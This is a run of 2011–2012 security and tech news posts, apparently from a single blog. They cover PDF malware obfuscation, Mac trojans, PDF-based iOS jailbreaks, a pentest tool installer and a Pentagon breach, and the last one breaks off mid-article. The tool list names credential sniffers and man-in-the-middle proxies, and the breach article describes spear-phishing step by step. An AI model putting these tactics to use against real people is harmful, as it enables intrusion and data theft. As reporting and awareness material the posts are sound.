Tracker Software Products Announces Launch of New Online PDF Viewer Cloud Applications

 
Tracker Software Products, Ltd has just partnered with Spoon, a cloud computing and virtualization technology company, to offer its PDF and image viewing programs as cloud-based products. In other words, this means that Tracker Software's programs can now be used from any Windows-based computer in the world, as long as it has Internet access. No installation required! All a user needs to do is log on to Tracker Software's website and download the Spoon plugin. This will allow the user to access any Spoon-based products online in addition to Tracker Software's PDF viewers.
Many businesses and professionals are making the switch to cloud-based programs due to the increased versatility, flexibility, and productivity. Additionally, cloud-based programs use less processing power, take up less hard drive space and tend to be better for a company's bottom line. By centralizing processing on the server side rather than the client side, Tracker Software assures users that they don't have to worry about ensuring that their version of software is up-to-date. When run from the cloud, programs are accessible with a single click, they don't take up valuable computer capacity, and any errors or bugs are easily fixed.
Both the free and the professional versions of Tracker Software's PDF-XChange Viewer are available in the new virtualized cloud-based format. These programs allow for easy manipulation and annotation using the most feature-rich PDF viewer currently on the market today. While most people use Adobe to view PDF files, they often run into problems due to a buggy interface, lack of editing capability, non-intuitive design and poor customer support. PDF-XChange allows you to export PDF files to images, to add textual content and extract text, to add security/encryption, to mark up a page with pictures snapped to the grid, to create new documents, to add digital signatures and much more, all through an easy-to-use interface.
This interface has since been put up on the cloud. The basic functionality remains the same, except users may find that the online PDF viewer is faster and doesn't lag the computer quite as much. Additionally, customer support is likely to be faster in the event of a bug, and new features will be added all the time without the need for additional downloads. This change in basic framework will, according to Tracker Software, be the basis for future improvements further down the line.
In other words, the new Online PDF Viewer Cloud Applications don't offer significant change in what you can do right now, but the improved productivity will provide a level of increased ease that wasn't there before. Instead of new features, the skeleton of the program is getting a rework to be better suited for modern computing. More and more companies are going the way of the cloud and virtual machines, because keeping one hundred copies of PDF-XChange Viewer for business purposes, for instance, is inefficient and wasteful according to proponents of the technology.
When it comes to providing PDF software to businesses and professionals worldwide, Tracker Software has been rated by many analysts as one of the best in the industry. They have consistently been on the forefront of technological development, and this latest move proves that they will continue to do so into the foreseeable future.
About Tracker Software
Tracker Software Products, Ltd develops PDF and imaging software, with products including a free PDF reader and a TIFF creator. With sales offices in Canada and the UK and development offices in the USA and Ukraine, Tracker provides document/imaging applications and developer toolkits to professionals around the world. Tracker Software products conform to ISO-maintained PDF specifications, originally defined and extended by Adobe.
About Spoon
Spoon is one of the leading developers of virtualization technologies and cloud computing, meant to connect data, applications and processing power to users instantly, anywhere. Spoon products are available online at Spoon.net, from third party sites through Spoon Feeds, and from within private clouds by way of Spoon Server.
Spoon and Spoon-related products are used by industry leaders in a variety of fields, from education, government and health care to entertainment, finance and information technology. Satisfied customers include Novell, Namco Networks, Autodesk, Core Learning, the U.S. Marine Corps and thousands of software developers around the world

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">Tracker Software Products Announces Launch of New Online PDF Viewer Cloud Applications"https://www.voiceofgreyhat.com/2011/05/tracker-software-products-announces.html</a>

PDF Malware Using New Tricks to Exploit Vulnerability

Security researchers have identified a new trick in PDF files being sent as email attachments that obfuscate attack code by encoding it inside an image file.

Malicious PDF files are using a new trick to avoid detection by almost all major antivirus scanners on the market, according to security researchers. Researchers from Avast and Sophos independently noticed PDF files making the rounds in March that weren’t being flagged as malicious but had the ability to compromise a machine just by being opened. The originating address was often suspicious, and the attachments accompanied emails purporting to be an order receipt. The attachments themselves often had names containing the supposed order number.
When the attachments were opened under Adobe 8.1.1 or Adobe 9.3, the compromised computer would connect to a remote site and download malware, usually SpyEye, ZBot  or FakeAV, Paul Baccas, a senior threat researcher at Sophos Labs, wrote on the company’s Naked Security blog on April 15.
“The PDFs did not seem to be using any exploit that I could see and yet they were downloading malware,” wrote Baccas.
It turned out these files were using a new trick to re-exploit the CVE-2010-0188 vulnerability Adobe had patched over a year ago on Feb. 16, 2010, according to Baccas.
The exploit is specific to Reader and would not execute in Google Chrome’s PDF Plugin, Jiri Sejtko, a senior virus analyst and researcher at Avast Software, wrote on the company blog April 22. While that’s a good sign, Chrome generally asks users if it should open the file in Reader if it can’t display the file correctly. In this day and age, many users would likely say yes, making them vulnerable, according to Sejtko.
The PDF specifications allow several filters to be used on raw data, either singly or in conjunction with each other, Sejtko said. Anyone can create valid PDF files where the data uses five different filters, or even multiple layers of the same filter. This allows malware authors to embed malicious code deep inside the filters, out of reach of even the most aggressive scanner.
“Our parser was unable to get any suitable content that we could define as malicious,” Sejtko said.
Files exploiting this vulnerability normally use an XML file that contains the raw data for a TIFF image file containing highly obfuscated code, Baccas said. In this case, the attackers were using parameters to control how the filters operate and crafting the attack code embedded in the raw data to conform to these parameters.
The filter being used to encrypt the malicious code was also meant to be used only for black and white images. The exploit detected by Avast researchers combined two filters, one for text and one for images, to hide the payload.
“Who would have thought that a pure image algorithm might be used as a standard filter on any object stream?” Sejtko said. While the “bad guys” are building a specially crafted TIFF image file in the PDF files, the trick can be used to hide special JavaScript and font files, as well.
Compared to other attacks, this attack is seen in “only a very small number” of attacks, Sejtko said, but has also been used in targeted attacks. While the CVE-2010-0188 flaw has been closed in current versions of Adobe Reader, users on older and unpatched versions of the software remain vulnerable to these malicious PDF files.

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">PDF Malware Using New Tricks to Exploit Vulnerability"https://www.voiceofgreyhat.com/2011/04/pdf-malware-using-new-tricks-to-exploit.html</a>

OSX/Revir-B Trojan Hidden Behind PDF, Giving Hackers Remote Access to MAC Computers

A fascinating new example of Mac malware has been discovered, that appears to be adopting an old Windows-style disguise to fool users into running it. Despite the numerous times that cybercriminals have created boobytrapped PDF files that exploit vulnerabilities to infect unsuspecting users, many people still think that PDF files are somehow magically safer to open than conventional programs.The OSX/Revir-B Trojan plays on this by posing as a PDF file.
When the malicious Macintosh application file is run it tries to drop a PDF embedded inside it onto the user's hard drive. The Chinese language PDF file displayed is about a controversial topic, "Do the Diaoyu Islands belong to Japan?" The Diaoyu Islands (known as the Senkaku islands in Japan) are the subject of a long-running dispute between the two countries, with both claiming sovereignty. The malware attempts to install a backdoor Trojan horse (detected by Sophos as OSX/Imuler-A) which would give malicious hackers remote access to your Apple Mac computer.

TO download the Patch Click Here

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">OSX/Revir-B Trojan Hidden Behind PDF, Giving Hackers Remote Access to MAC Computers"https://www.voiceofgreyhat.com/2011/09/osxrevir-b-trojan-hidden-behind-pdf.html</a>

Apple Fixes OSX Revir-B Trojan Vulnerability

Apple has updated the bare-bones antivirus protection included with Mac OS X to detect a Trojan horse that poses as a PDF document. That Trojan, named "Revir.A" by Finnish security company F-Secure but "Revir.B" by others, masquerades as a PDF file . Unwary users who download and open the fake PDF actually start a malware chain reaction that infects a Mac with multiple pieces of attack code, including a "backdoor" designed to listen to a hacker-controlled server for further instructions. 

Apple added a signature for Revir on Friday to the detection engine called XProtect included with Mac OS X 10.6, aka Snow Leopard, and Mac OS X 10.7, better known as Lion. Since May, when Apple fought a weeks-long battle with makers of phony Mac security software -- usually called "scareware" or "rogueware" -- XProtect checks daily for new signature updates.
The new signature will detect Revir if a user downloads the fake PDF document using Safari, iChat or Mail -- Mac OS X's native email client -- and then displays a warning urging the user to toss the file into the Trash. On Monday, however, Mac-centric security company Intego said it had spotted a new piece of Mac malware disguised as an Adobe Flash installer.
Tagged "Flashback" by Intego, the Trojan installs itself when the fake Flash file is run, then deactivates the Mac outbound firewall Little Snitch , likely as an attempt to hide communication between the malware and its remote command-and-control server.
Flashback uses the same phony Flash distribution tactic as a Trojan horse named "QHost.WB" found by F-Secure in early August. Apple updated XProtect to detect QHost on Aug. Intego speculated that hackers may think the Flash installer trick will be effective because Lion, unlike earlier Mac OS X editions, does not come with the Adobe software pre-installed.
The French antivirus firm recommended that users download Flash Player only from Adobe's website, and if they're using Safari, to uncheck the box marked "Open 'safe' files after downloading" under the General tab to prevent fake installers like Flashback from running automatically. 

-News Source (Network World)

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">Apple Fixes OSX Revir-B Trojan Vulnerability"https://www.voiceofgreyhat.com/2011/09/apple-fixes-osx-revir-b-trojan.html</a>

New Browser-based iOS 'jailbreak' (Based on PDF exploit)

Hackers have once again released a "jailbreak" for iOS devices that can be completed through the Mobile Safari Web browser, taking advantage of an exploit found in the operating system's PDF reader.
The hack can be accomplished by visiting the website jailbreakme.com on an iPhone, iPad or iPod touch. It is compatible with all of Apple's current iOS-powered mobile devices, including the iPad 2 and iPhone 4. The hack was developed by "comex," Grant "chpwn" Paul and Jay "saurik" Freeman, and is compatible with iOS 4.3 through 4.3.3 on all iPads, the iPhone 3GS, GSM iPhone 4, and third- and fourth-generation iPod touch. It also works with iOS 4.2.6 through 4.2.8 for the CDMA iPhone 4.
The official site tells visitors they can jailbreak their iOS device to experience the software "fully customizable, themeable, and with every tweak you could possibly imagine." Jailbreaking is the term used to describe hacking iOS to allow users to install custom software and tweaks not approved by Apple.
The site also refers to jailbreaking as "safe and completely reversible," as users can restore their iPhone or iPad to the original, unaltered iOS software by restoring with iTunes. But jailbreaking is also a warranty-voiding process that Apple has warned users carries security risks. In 2009, a worm spread only on jailbroken iPhones that had enabled SSH for file transfer and did not change the default password.

Last July, the U.S. government affirmed that the process of jailbreaking is considered legal, though Apple is under no obligation to support users who have issues with hacked software.
The new "jailbreakme" site also asks users: "Please don't use this for piracy." While software can be legally downloaded or even sold through the jailbreak-only "Cydia" store, jailbreaking can also be used to pirate software that is sold on Apple's App Store.

This week's new jailbreak method is the second time hackers have exploited a PDF-related security hole in the Mobile Safari browser. The previous hack, issued last August, relied on a corrupt font to crash Safari's Compact Font Format handler.
Ironically, hackers who exploited the PDF security hole in iOS last year also delivered their own security fix to address the very same issue on jailbroken devices. The patch aimed to ensure that dishonest hackers would not be able to utilize the exploit for malicious purposes.

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">New Browser-based iOS 'jailbreak' (Based on PDF exploit)"https://www.voiceofgreyhat.com/2011/07/new-browser-based-ios-jailbreak-based.html</a>

(LPS) Lightweight Portable Security

Lightweight Portable Security (LPS) creates a secure end node from trusted media on almost any Intel-based computer (PC or Mac). It is a LiveCD distro designed by the US Department of Defense to function as a secure end node, in other words, a safe environment from which to access the web or a remote desktop host. Since the focus is on security, LPS boots a thin Linux operating system from a CD or USB flash stick without mounting a local hard drive, while providing tools such as a web browser, a file manager in addition to few other small tools. Administrator privileges are not required; nothing is installed! LPS-Public is a safer, general-purpose solution for using web-based applications. The accredited LPS-Remote Access is only for accessing your organization’s private network and is available only on request. We requested for one and are yet to hear back from “them”.

This livecd is very useful for not for whole organisation but some departments whose employees are on the move or carry critical data in and out of the organisation. In fact there are two version of the lightweight portable securityFREE download. Their brief use is as follows: linux distro available for a

1. LPS-Public: It includes features designed to allow productive use of the Internet and CAC- or PIV-restricted Government websites from home or while traveling. LPS-Public comes preconfigured with a smart card-enabled Firefox web browser with Java and Flash support, Encryption Wizard-Public, a PDF viewer, a file browser, remote desktop software (Citrix, Microsoft or VMware View), SSH client, and the ability to use USB flash drives. This build does not contain any For Official Use Only (FOUO) material or any customized software. It is a very light distro and needs lesser RAM.
2. LPS-Public Deluxe: It adds OpenOffice software, which is a Microsoft Office-compatible suite of office applications, and Adobe Reader, which allows PDF files to be digitally signed. A bit heavier distribution, requiring about a Gigahertz of RAM.

LPS-Public allows general web browsing and connecting to remote networks. It includes a smart card-enabled Firefox browser supporting CAC and PIV cards, a PDF and text viewer, Java, and Encryption Wizard – Public. LPS-Public turns an untrusted system (such as a home computer) into a trusted network client. No trace of work activity (or malware) can be written to the local computer. Our initial working with the linux distro leads us to believe that after logon, you are taken to a desktop that is rendered via IceWM – the window manager for the X Window Systems. You can use a WiFi connection too, but understandably, there is no support for printers and sound. Surprisingly, given the notoriety the Adobe Flash plugins, the distro includes a fairly recent Firefox with the Flash plugin pre-loaded. It also includes a few more Firefox add-ons. You also get a Remote Desktop client to initiate RDP requests. Another interesting thing we observed is that if you plan on using smart cards and you think that it might not be compatible with LPS, worry not as it has the OEM’s firmware updater built in!

Features of LPS

1. LPS differs from traditional operating systems in that it isn’t continually patched.
2. LPS is designed to run from read-only media and without any persistent storage.
3. Any malware that might infect a computer can only run within that session.
4. A user can improve security by rebooting between sessions, or when about to undertake a sensitive transaction.

Download LPS from the following links:-

LPS-Public:

1. LPS-Public ISO version 1.2.2 (LPS-1.2.2_public.iso) here.
2. LPS-Public ZIP version 1.2.2 (LPS-1.2.2_public_iso.zip) here.

LPS-Public Delux:

1. LPS-Public Delux ISO version 1.2.2 (LPS-1.2.2_public_deluxe.iso) here
2. LPS-Public Delux ZIP version 1.2.2 (LPS-1.2.2_public_deluxe_iso.zip) here

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">(LPS) Lightweight Portable Security"https://www.voiceofgreyhat.com/2011/07/lps-lightweight-portable-security.html</a>

Infondlinux: Install Useful Security Tools and Firefox Addons!

infondlinux is a script that installs most of tools, that we use during penetration tests and capture the flag tournaments. It is a post configuration script for Ubuntu Linux. We can also install it on other *nix system but not all of the below mentioned tools may work depending on environment. It has been actively tested on Ubuntu 10.10.
It installs useful security tools and Firefox addons. Tools installed by script are listed at the beginning of source code, which we can edit as per our requirement.
List of security tools included:
Debian packages:

• imagemagick
• vim
• less
• gimp
• build-essential
• wipe
• xchat
• pidgin
• vlc
• nautilus-open-terminal
• nmap
• zenmap
• sun-java6-plugin et jre et jdk
• bluefish
• flash-plugin-nonfree
• aircrack-ng
• wireshark
• ruby
• ascii
• webhttrack
• socat
• nasm
• w3af
• subversion
• mercurial
• libopenssl-ruby
• ruby-gnome2
• traceroute
• filezilla
• gnupg
• rubygems
• php5
• libapache2-mod-php5
• mysql-server
• php5-mysql
• phpmyadmin
• extract
• p0f
• spikeproxy
• ettercap
• dsniff :
  • arpspoof Send out unrequested (and possibly forged) arp replies.
  • dnsspoof forge replies to arbitrary DNS address / pointer queries on the Local Area Network.
  • dsniff password sniffer for several protocols.
  • filesnarf saves selected files sniffed from NFS traffic.
  • macof flood the local network with random MAC addresses.
  • mailsnarf sniffs mail on the LAN and stores it in mbox format.
  • msgsnarf record selected messages from different Instant Messengers.
  • sshmitm SSH monkey-in-the-middle. proxies and sniffs SSH traffic.
  • sshow SSH traffic analyser.
  • tcpkill kills specified in-progress TCP connections.
  • tcpnice slow down specified TCP connections via “active” traffic shaping.
  • urlsnarf output selected URLs sniffed from HTTP traffic in CLF.
  • webmitm HTTP / HTTPS monkey-in-the-middle. transparently proxies.
  • webspy sends URLs sniffed from a client to your local browser
• unrar
• torsocks
• secure-delete
• nautilus-gksu
• sqlmap

Third party packages:

• tor
• tor-geoipdb
• virtualbox 4.0
• google-chrome-stable

Manually downloaded software’s and versions:

• DirBuster (1.0RC1)
• truecrypt (7.0a)
• metasploit framework (3.6)
• webscarab (latest)
• burp suite (1.3.03)
• parosproxy (3.2.13)
• jmeter (2.4)
• rips (0.35)
• origami-pdf (latest)
• pdfid.py (0.0.11)
• pdf-parser.pym (0.3.7)
• fierce (latest)
• wifite (latest)
• pyloris (3.2)
• skipfish (1.86 beta)
• hydra (6.2)
• Maltego (3.0)
• SET

Author made scripts:

• hextoasm
• md5crack.py (written by Corbiero)
• chartoascii.py
• asciitochar.py
• rsa.py

Firefox extensions:

• livehttpheaders
• firebug
• tamperdata
• noscript
• flashblock
• flashgot
• foxyproxy
• certificatepatrol
• chickenfoot 1.0.7

Pretty good list of applications we must say.
How to install?

1	sudo infondlinux.sh

or

1	sh infondlinux.sh

Download infondlinux v0.5 (infondlinux.sh) here

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">Infondlinux: Install Useful Security Tools and Firefox Addons!"https://www.voiceofgreyhat.com/2011/04/infondlinux-install-useful-security.html</a>

URL Shorteners Have been Exploited Malware Writers

URL shorteners (such as bit.ly) have escalated in popularity thanks to services like Twitter where every character counts. However they come at a security cost.
Spammers have been using them to for some time, and anyone who frequents twitter will have seen the pornography industry using them. However Symantec’s Nick Johnston reports on a worrying trend, using them to hide malware using so-called drive-by attacks. He reports on one exploit.
The attack abused at least five different URL shortening sites. The message claimed to be from an inter-bank funds transfer service, claiming that a funds transfer had been cancelled. To find out why the transfer was cancelled, recipients were encouraged to click on a link supposedly pointing to a PDF file, but actually pointing to a shortened URL. This shortened URL then redirects to a site with several drive-by exploits.
A drive-by attack is one that exploits security flaws in browsers and causes them to download and execute malicious code simply by visiting a page. They do not require a user to click on anything or download files. In the example cited, the page exploited holes in PDF documents, Java and a Windows Help Center exploit. Expect more of this, warns Symantec.
We saw hundreds of unique shortened URLs being used to link to this malware, and expect to see malware authors using this technique in future.
There are browser plug-ins for Firefox and Chrome that will expand shortened URLs so you can see the destination site before clicking on the link. It is expected that

To See the Symantec Report Click HERE

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">URL Shorteners Have been Exploited Malware Writers"https://www.voiceofgreyhat.com/2011/07/url-shorteners-have-been-exploited.html</a>

Full Disclosure Of Pentagon Data-breach

We're all human, you know? That's roughly the trick that the hackers most likely relied on when, earlier this year, they managed to steal over 24,000 files from a defense contractor.

The Pentagon won't say what files went astray, or the level of secrecy associated with the contents of the stolen data. But we can assume that at least some of it was highly secret—secret enough that Deputy Defense Secretary William J. Lynn III felt compelled to admit to the attack during a speech about the future of cyber policy yesterday. Lynn said it concerned some of the U.S.'s "most sensitive systems, including aircraft avionics, surveillance technologies" and more, before hinting that foreign powers were behind the attack and using it to declare cyberspace the next battleground.

What went down? Fast Company spoke to Nick Percoco, digital security expert and SVP at Trustwave's SpiderLabs, and familiar with exactly this sort of cyberattack, to get some insight.

How The Hack May Have Begun: Email Scams

The fact that the 24,000 stolen files came from a defense contractor is significant, Percoco notes. It's likely easier to get this sort of data from a contractor than launching an all-out attack on Pentagon servers themselves, because companies are full of people—people who are used to doing business in our digitally connected world. And even though an employee of a defense contractor is probably way more switched on to digital security than you or I, it's still not impossible to cheat someone with access to secret files into placing malware on their work laptop.

All it would take for a dedicated hacker is some basic research. If you wanted to steal data like this, you could start by targeting a particular employee via email—"We've seen this happen to defense contractors," Percoco notes. "Using technology like Google, and LinkedIn and other social networks" hackers could find out who best to target. Say they pick a particular EVP, and work out their email address is "JohnSmith@defencecontractorX.com." Then they work out who their colleagues or bosses may be all the way up to CEO level.

Then it's as simple as going to a source of hacking code using your underworld contacts (or using some of your own) and getting access to a "zero day exploit"—a new loophole in a computer or software system's security that hasn't been publicly discovered yet, and hence is still open for hacking use.

This is where the hack escalates. "In this case, they'd been looking for a zero-day exploit in, say, the Adobe PDF reader. And then they'd take a nice creative pen out and draft up a document that looks like it should be something important," Percoco said. After this, the hacker would set up something like a disposable Gmail account and make the screen name the same as one of the target's peers or the CEO of the company. Then they'd "craft up an email that says 'Here's an important document, some new announcement we're working on. Please review it and be ready for a call at 10 a.m. today.'" The trick is to send this to the target at around 7:30 a.m. local time, because the "best time to send those types of things is right before someone's had their coffee."

Typically the sleep-addled victim would trust the email as it's supposedly from a colleague, then launch the embedded PDF (or other faked document). Usually it causes the newly launched program—Adobe Reader in this example—to crash. But as it crashed, it would actually be installing malicious code on the machine. The virus is injected.

How The Attack Began: Website Sting

A similar attack is possible using a faked-up website that looks like it's actually related to the target company—one of those odd-looking, badly maintained websites that kinda looks official that we've all surfed to at some point and been confused by.

Some of these are actually storage pens for targeted malicious code, carefully honed to appear high on Google searches with SEO tricks. And when, say, a marketing official from the target company Googles to find out how their brand is being referenced around the web, they may stumble across one of these fake sites and trigger the release of malware onto their machine.

What Happened Next: Access Is King

Once the malicious code has been installed on the machine, the "sky's the limit," particularly via the email exploit. A well-coded virus code can evade detection and hide on the computer, doing various wicked things.

Often the "sole purpose of the executable is to go and find files on the person's computer and archive those in a zip file or RAR file, and then attempt to extract them from the system," Percoco said, based on his experience. The code could try lots of different routes, using FTP or HTTP or other protocols to get those files off the system. It's something he's seen in "many environments" and, worryingly, they're often "highly successful in getting those files." The code is typically designed to work on Windows machines, with almost no such exploits targeted at Macs—but Percoco agrees that this is at least partly due to the assumption by a hacker that a business user will be using a PC, not a Mac.

The success would be based on the fact no one's seen this particular kind of attack before (a zero-day exploit payoff) and it would easily circumvent any protective anti-virus software installed on the machine—because the protection doesn't know to look out for this type of virus. The only real way to avoid this sort of attack for the target to "avoid clicking on documents," which is clearly unlikely in the case of a business computer user. 

A smarter hacker would select a network administrator at the target company, because they're human, too. Their machine likely has even more interesting files that have data on network security, what kind of code is let in and let out of company firewalls, and so on.

Getting access to this sort of data (via the same email hack as described above) could let a persistent hacker penetrate a company's network and install a backdoor onto it—totally circumventing security because then "the attacker doesn't have to come in from the outside, they have code running on that system that will basically open up a connection back to the attacker"—not something network security is expecting. Then you can gain access to passwords and credentials to worm your way in further, eventually finding whatever sensitive data you're looking for.

The result could be a grim violation of company security. "We've seen those for a number of years, in all sorts of companies including government-type companies as well," Percoco says. 

Who Did This?

It's easy to see how a hacker could gain access to a machine and even a company network, and how easy it can be to transfer stolen files from infected computers to the hacker. But whois the hacker? The Deputy Secretary of Defense was careful to link it to "foreign" attackers—and considering this year's hacking news, we're instantly imagining China is to blame.

Percoco says his company does hundreds of investigations every year on attacks like these, and it's "very, very difficult to trace an attack to a specific person and specific political motivation." That's unless it's a hacktivist attack, when a group like Anonymous posts the data online and admits it was to blame—and even then "you don't know where these people are actually located."

A hacker could take his laptop down to a coffee shop, buy a cup of joe and "get on their free Wi-Fi system. And now they go and start looking around the world to find a computer that has a security weakness." Once they find it, they can use the hacked computer for a targeting scenario like the one described above, where they send a tainted email. Anyone tracing the code back after the attack was detected may find it sourced on a corporate computer in, say, China. And then they're stuck—because no one's "going to let the U.S. government come in and do a forensic investigation on some business located in China." 

Furthermore, it's rare that even this first Net address is where the attack is coming from—"they're always jumping through one or many systems" Percoco says, which could be in numerous nations and thus completely confound any attempts to track them. Which means the attacker actually could be located anywhere.

The Cold Cyberwar?

Suddenly, there's a much more sinister angle to the Pentagon hack. Forget "The Chinese Way of Hacking." More like "Even More Malicious Hackers Looking Like They're Using The Chinese Way Of Hacking."

-News Source (Gizmodo)

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">Full Disclosure Of Pentagon Data-breach"https://www.voiceofgreyhat.com/2011/07/full-disclosure-of-pentagon-data-breach.html</a>

KDE 4.9 Released With Improved Stability & Performance

KDE 4.9 Released With Improved Stability & Performance

Earlier in January we got KDE 4.8, so after eight moths of wait now the KDE Developers team has announced its latest set of releases, providing major updates to KDE Plasma Workspaces, KDE Applications, and the KDE Platform. Version 4.9 provides many new features, along with improved stability and performance. This release is dedicated to the memory of KDE contributor Claire Lotion. Claire's vibrant personality and enthusiasm were an inspiration to many in many opensource community, and her pioneering work on the format. The KDE Quality Team was set up earlier this year with a goal to improve the general levels of quality and stability in KDE software. Special attention was given to identifying and fixing regressions from previous releases. This was a top priority because it ensures improvement with each release. As a result of the efforts of the KDE Quality Team, the 4.9 Releases are the best ever.

One particular bugfix deserves special attention. An Okular bug reported in 2007 had gotten nearly 1100 votes; it was important to many users. They complained about making annotations and not being able to save or print them. With the assistance of many commenters and people on the Okular IRC channel, Fabio D’Urso implemented a solution that allows Okular PDF document annotations to be saved and printed. The fix required some work on KDE libraries and attention to overall design to ensure that non-PDF documents worked right. 

The most notable include:-

• The Dolphin file manager includes back and forward buttons, inline file renaming, and the ability to show metadata like ratings, tags, image size, file size, date, and more. You can also sort files by these metadata properties, which is awesome. It also includes a better Places panel, improved search, and better integration with the Terminal.
• The Konsole terminal now includes the ability to change directory when you drag and drop a folder into the window, detach tabs by dragging them out of the window, and more.
• Activities, the feature that helps you separate your work from your play, is now a bit more powerful, letting you link certain files to each workspace. You can also encrypt certain activities for more private work.
• The KWin window manager now has better performance all around, as well as a few improvements here and there with certain effects like Wobby Windows.

To Download KDE 4.9 Click Here

-Source (KDE & lh)

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">KDE 4.9 Released With Improved Stability & Performance"https://www.voiceofgreyhat.com/2012/08/KDE-4.9-Released.html</a>

JailbreakMe 3.0 Exploit for ipad 2 Leaked out

The long-awaited JailbreakMe 3.0 exploit has finally been released but not officially according to a report a beta tester for the software leaked the exploit online the last night. Suffice to say the Dev team nor Comex came forward to validate its authenticity 

According to the News Source:- 

"..Supporting iOS 4.2.1-4.3.3, in short, we don't recommend you to use the exploit, until it has been officially verified. If you want to see it in action however to prove its existence we have got a short in less-than 2 minutes look at JailbreakMe 3.0 right after the break. 

[Update] - Reader Dave (@Dave Flash) notes that the leaked exploit was also available for iPad earlier today, using a different .PDF file from the site mentioned. However, this now appears to have been pulled.

@razorianfly also worked om my 1st gen iPad.

@razorianfly Well, you have to use a different PDF from that site http://rfly.co/m2kz5H

… but it appears to have been pulled.

[update 2] 9to mac that the exploit only appears to work on Wi-Fi Only iPad 2 models, offering up the screen shot below as proof of the jailbreak method.  

[update 3] success stories coming in. @Baisarro notes...

@razorianfly hey Arron! it worked for me with ipad 2 wi-fi iOS, no problems "

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">JailbreakMe 3.0 Exploit for ipad 2 Leaked out"https://www.voiceofgreyhat.com/2011/07/jailbreakme-30-exploit-for-ipad-2.html</a>

LibreOffice 3.5.3 Final Arrives, 60+ Bugs Have Been Fixed

LibreOffice 3.5.3 Final Arrives, 60+ Bugs Have Been Fixed 

The Document Foundation announces LibreOffice 3.5.3, the fourth version of the 3.5 family. LibreOffice 3.5.3 provides additional stability to corporate and individual users of the best free office suite ever. As expected, the new stable release adds no new features, instead fixing more than 60 bugs found in the core of the program. These include problems when importing PDF, PPTX, RTF and DOCX files, as well as a crashing bug.

Highlighted Features:-

• Calc performance improvements
• Lightproof improvements
• Collaborative spreadsheet editing using Telepathy
• A Microsoft Publisher import filter
• A signed PDF export
• A smartphone remote control
• A new UI for picking templates
• A Java based GUI for an Android viewer
• An improved Impress SVG export filter
• Tooling for more and better tests

The distribution for Windows is an international build, so you can choose the user interface language that you prefer. Help content is available via an online service, or alternatively as a separate install. For Windows users that have LibreOffice prior to version 3.4.5 installed, either uninstall that beforehand, or upgrade to 3.4.5. Otherwise, the upgrade to 3.5.2 may fail. LibreOffice contains all the security fixes from OpenOffice.org in 3.3.0, and perhaps more as a side-effect of the code clean-ups. Microsoft Office 2010 will complain that ODF 1.2 and extended documents written by LibreOffice 3.5 are invalid (but opens them still). This is a shortcoming in MSO2010 only supporting ODF 1.1, please see here for further details. 

To Download LibreOffice Click Here

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">LibreOffice 3.5.3 Final Arrives, 60+ Bugs Have Been Fixed"https://www.voiceofgreyhat.com/2012/05/libreoffice-353-final-arrives-60-bugs.html</a>

CLUB HACK Magazine has been released

March witnessed the launch of the much awaited Mozilla Firefox 4. We dedicate this issue to Mozilla and even the cover page that I designed (ahem) reflects that. The month started on a high note with India finally winning the ICC World Cup that also awakened our patriotic feelings.
Keeping with the theme of browser security, this issue covers Mozilla Security in Tech Gyan, FireCAT in Tool Gyan, Being Invisible on the Internet in Moms Guide, Configuring Apache SSL in Command Line, Introduction to newly launched Matriux Vibhag and New Rules of Information Technology in Legal Gyan.
We at ClubHack Mag would like to thank our contributors for an overwhelming response to the call for articles for this issue. Browser security affects all users of the Internet and therefore, we have decided that to keep the same theme for our May issue.
Wireless networking is another issue that is now looming large on the horizon of most organisations and has even penetrated most tech-savvy homes. We intend to cover Wireless penetration testing for our subsequent issues. Keep sending your articles to info@chmag.in
Happy and Safe surfing!
In April issue we have the following articles

0x00 Tech Gyan - Mozilla Firefox Internals & Attack Strategies
0x01 Tool Gyan - FireCAT
0x02 Mom's Guide - Being Invisible on the Internet
0x03 Legal Gyan - The Information Technology Rules, 2011
0x04 Command Line Gyan - Configuring Apache SSL
0x05 Matriux Vibhag - Introduction Part 2
0x06 Poster of the month - Happy and Safe Surfing.
n India we were waiting to see any 'hacking' magazine to happen and the wait was getting little longer. So finally ClubHack decided to come up with its own 1st  Indian "Hacking" Magazine called CHmag.
We at ClubHack aremore than thrilled about the magazine and this fits into our main objective of making hacking and information security a common sense for a commn man.
Moving further we need a lot of help form the whole information security community of the country to make this a success
This magazine is divided into the following sections:
0x00 Tech Gyan of the month
0x01 Legal Gyan of the month
0x02 Tool Gyan of the month
0x03 Command Line Gyan of the month
0x04 Mom's Guide of the month
0x05 Awareness Poster of the month
We hope to add a lot of sections in future, all we need is input from you as to what you would like to see in your magazine
The PDF version can be downloaded from http://chmag.in/issue/apr2011.pdf

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">CLUB HACK Magazine has been released"https://www.voiceofgreyhat.com/2011/04/club-hack-magazine-has-been-released.html</a>

Nessus 5.0 Vulnerability Scanner Released

Nessus 5.0 Vulnerability Scanner Released 

Tenable Network Security officially announced the availability of Nessus 5.0 vulnerability scanner. This release introduces key features and improvements, separated into the four major phases of the vulnerability scanning process:

1. Installation and management (for enhanced usability)
2. Scan policy creation and design (for improved effectiveness)
3. Scan execution (for improved efficiency)
4. Report customization and creation (for improved communication with all parts of the organization).

Installation & Management:-
Nessus 5.0 simplifies the installation and configuration for non-technical users:

• Installation: Nessus v5.0 has a browser-based installation wizard — no special knowledge required. Users on a wide variety of platforms — Windows, Mac, Linux, or UNIX — can have Nessus v5.0 installed within minutes.

• Configuration and management: Nessus v5.0 configuration and management is now done 100% through the GUI.

• With all configuration and management now done through the web interface, the Nessus user experience is the same for all users, regardless of OS.

• With the touch of a button on the GUI, Nessus users can now quickly initiate plugin updates and see last update information.

Scan Policy Creation & Design:-
Users now enjoy improved effectiveness when creating scan policies:

